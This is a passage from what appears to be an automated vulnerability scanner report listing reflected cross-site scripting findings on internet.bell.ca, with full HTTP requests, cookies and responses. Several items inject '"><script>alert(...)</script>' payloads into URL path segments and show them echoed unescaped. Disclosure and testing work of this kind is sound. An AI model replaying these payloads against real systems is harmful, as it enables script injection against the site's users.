Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:29 GMT
Connection: close
Set-Cookie: SMSESSION=L6jSqME1JFNYhB/YZFFNPXjlNgdV6sf1BWEHWGBVurAPx7rcDCj1SWX+QjJzNFge4Wuigv0Wt1n8N+Uxjz5L0PDERUSZ3suqf+9pLsbq/fG0h9iVIVhYfvMC69OCn6Jt9l43eWckRsCmckL8dJ8n9Y3Ozf8WXSG0z2iBhRd3fBZq1jWQMuPOGVyuIeavwgT2+TQ1EWnkvjPSA+KmbfhW1eZZ0VXwdyb/ggWn+XzbTYP07VZlScB7zsaB8xboIKOgalbifdposnpuvV81GKDa6OE5Hhxo2AlhVBrALP2w2eqO8An3vqh0yw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:30 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:30 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:30 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:30 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:30 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:30 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:30 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:30 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:30 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:30 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js27ce7"><script>alert(1)</script>1fc38ff14b6/jquery.cookie.js" />
...[SNIP]...

2.49. http://internet.bell.ca/js/jquery.cookie.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.cookie.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 255c5"><script>alert(1)</script>a7ba20bc4c5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.cookie.js255c5"><script>alert(1)</script>a7ba20bc4c5 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:48 GMT
Connection: close
Set-Cookie: SMSESSION=knjbpFs5ENFm1fv9mcZ6Yr08vjP3cN2SOeoeoyXEQoeLQPYBbTc/hczruYs6hdSOlk4EJkc7YYBtLvj8ocS6tn1oILGVoOGioLNsxAC34cgrGmH+2WWaDQr9plHZZZVHNR40ZJ0HoPFfLMTzDfBWY1/OHTTDqXLi9z+cCIwq6+gV6cdMW3UOIEeJpbzHdvsXsp+EqPJn0fxUz3EOftkDVoSa3PcNp3y2Y7x7MUrdzkF2Er58Rtj5jbzcTrhNKcsIukeukeC5eTRV3170Yf35z/3cJ6cCIhBJKEDgwH4cj3fUK8ASzOBMvQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:48 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
put type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/jquery.cookie.js255c5"><script>alert(1)</script>a7ba20bc4c5" />
...[SNIP]...

2.50. http://internet.bell.ca/js/jquery.dialogpopup.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.dialogpopup.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3cf9c"><script>alert(1)</script>9e534de6a8a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js3cf9c"><script>alert(1)</script>9e534de6a8a/jquery.dialogpopup.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:14 GMT
Connection: close
Set-Cookie: SMSESSION=UkmZfLRlykri9TqMmE7pl0hXoby7PmRpohGbEEN7SVgsslgCoVMFyrrvcmjeqN15dd36ae+EasnWIjEaKeOlIMvZJ3M/v59d7SzGZrnCaWWJm8oUtdh5ljV0C2jiVITJZI9AFg4EafuaDB6LpiB4ZFf143JmZdcoD6cP28mInjkxf2xcqdSJLO8a77mnQXSUB40nvYngm2azuNEe9Kx2WIPscz5PXt9rpCYKkF50OxtQUoAUOpaG54HArqK0jN0kXCjlVZrqAqwbn3vUfi22d7h9h1IX/u0h/AyNeotBGxJWmb25JAwPjg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:14 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:14 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:14 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:14 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:14 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:14 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:14 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:14 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:14 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:14 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js3cf9c"><script>alert(1)</script>9e534de6a8a/jquery.dialogpopup.js" />
...[SNIP]...

2.51. http://internet.bell.ca/js/jquery.dialogpopup.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.dialogpopup.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload deed8"><script>alert(1)</script>f029067181a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.dialogpopup.jsdeed8"><script>alert(1)</script>f029067181a HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
